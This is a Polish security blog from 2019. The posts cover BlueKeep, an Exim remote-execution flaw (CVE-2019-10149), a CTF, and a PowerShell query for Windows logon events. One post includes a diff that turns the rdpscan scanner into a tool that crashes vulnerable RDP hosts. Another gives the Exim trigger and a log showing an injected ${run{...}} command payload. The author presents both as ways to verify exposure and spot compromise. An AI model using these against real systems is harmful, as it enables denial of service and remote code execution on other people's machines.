czwartek, 20 czerwca 2019

Bluekeep - Dziura w RDP

  W dużym skrócie Bluekeep to dziura pozwalająca na zdalne wykonanie kodu, poprzez usługę zdalnego dostępu (RDP). Została pokrótce opisana na stronach Microsoft, a jak ktoś jest zainteresowany szczegółami technicznymi to najlepiej przeczytać ten wpis.

  To co chcę dodać od siębie w tym temacie, to prosta łatka która z narzędzia rdpscan badającego czy nasz system jest podatny, zrobi narzędzie masowej zagłady wykładające podatne systemy z słynnym BlueScreen.

  Czy rozsiadam się właśnie z miską popcornu by patrzeć jak świat płonie? Nie koniecznie, nie ma lepszego sposobu na zweryfikowanie czy jesteśmy podatni, jak uderzenie bezpośrednio w lukę.

diff --git a/src/mst120.c b/src/mst120.c
index 26b1309..b9049c9 100644
--- a/src/mst120.c
+++ b/src/mst120.c
@@ -91,7 +91,7 @@ mst120_check(int is_send)
     if (is_send)
     {
         ++g_check_count;
-        mst120_send_check_packet(0x20, 8);
-        mst120_send_check_packet(0x10, 4);
+        mst120_send_check_packet(0x22, 8);
+        mst120_send_check_packet(0x12, 4);
     }
 }


Update (2019.10.05): Pojawił się exploit wykorzystujący podatność

wtorek, 11 czerwca 2019

(ENG) Emacs through sendmail - exploiting CVE-2019-10149

Tekst wyjątkowo jest w języku angielskim

  Before you start reading, please read article on lwn, if you have not already done so. The 24-hour mark described within the article passed long time ago, and still no further details were published. As stated, vulnerability is trivially exploitable, but discovering it in actual code, not necessary. I believe that because of it's simplicity, actual exploit is in active use, and indicators of compromise are unknown for system administrators. This leads to situation where after patching your services, you don't know whatever your systems have been compromised or not. These are reasons why I decided to post some further details about this vulnerability.

  As it appears from the published information, to trigger bug we need to set process_recipients variable to some other value than RECIP_ACCEPT. It can be done earlier in the deliver_message() function by following code:
5716 else if (received_count > received_headers_max)
5717   process_recipients = RECIP_FAIL_LOOP;

So it's only matter of sending excess amount of Received headers.
# exim -bP received_headers_max
received_headers_max = 30

Bringing it all together, the successful attack leaves traces that looks similar to those below, from my exim's mainlog:
1hbNcz-0001gv-Cm <= adrb@localhost H=localhost [::1] P=esmtp S=1732
1hbNcz-0001gv-Cm ** ${run{\x2fbin\x2ftouch\x20\x2ftmp\x2ftest}}@localhost: Too many "Received" headers - suspected mail loop
1hbNdK-0001l5-89 <= <> R=1hbNcz-0001gv-Cm U=Debian-exim P=local S=2969
1hbNcz-0001gv-Cm Completed
1hbNdK-0001l5-89 => adrb R=local_user T=mail_spool 
1hbNdK-0001l5-89 Completed

Update: You can read about that vulnerability in full details here




piątek, 7 czerwca 2019

All your sixty four are belong to Embler


Dzięki Zaufanej Trzeciej Stronie skorzystałem z okazji by po raz pierwszy sprawdzić się w zadaniu CTF o nazwie "All your sixty four are belong to Embler". Udało się zaliczyć test!

Tutaj jest opis zadania wraz z rozwiązaniem.

Zaległości z lat 2014-2019


Opis kilku ciekawszych rzeczy, które się wydarzyły na przestrzeni tych paru lat przerwy w pisaniu bloga. Niestety wiele projektów i kodu już bezpowrotnie zaginęło w czeluściach szuflady:
  • PrivCore - własna infrastruktura IT dla użytkownika domowego lub firmy
  • Tutorial opisujący jak podpiąć wyświetlacz dotykowy ili9431 do OrangePi
  • Patch do ciekawego błędu w libvirt
  • Poprawki w zimbra-drive dzięki którym możemy przeglądać pliki NextCloud-a w webowym kliencie pocztowym dla Zimbra
Kody żródłowe co ciekawszych projektów umieściłem na github

Powershell Eventlog i logowanie adresów IP

Jak znaleźć adresy IP z których ktoś się logował do Windows? W tym miejscu pomoże magia PowerShell-a dzięki któremu wyszukamy zdarzenia o identyfikatorze 4624 z "security" logu:

Get-WinEvent -FilterHashtable @{logname='security';id=4624;} | Where-Object {$_.Message -notmatch "Source Network Address:.*(-|::1|127.0.0.1)"} | Select TimeCreated, Id, Message | fl *

Możemy również filtrować po "Logon Type: 10", który wskazuje na logowanie poprzez usługi zdalnego dostępu (np. RDP)

Blogger i osadzanie kodu źródłowego


Ile to razy szukałem łatwego sposobu na osadzanie kodu źródłowego na blogu. I o to po latach, w końcu jest. Nic bardziej prostszego, można użyć gotowego skryptu formatującego, lub dodać CSS w zaawansowanych ustawieniach wyglądu (menu "Theme"):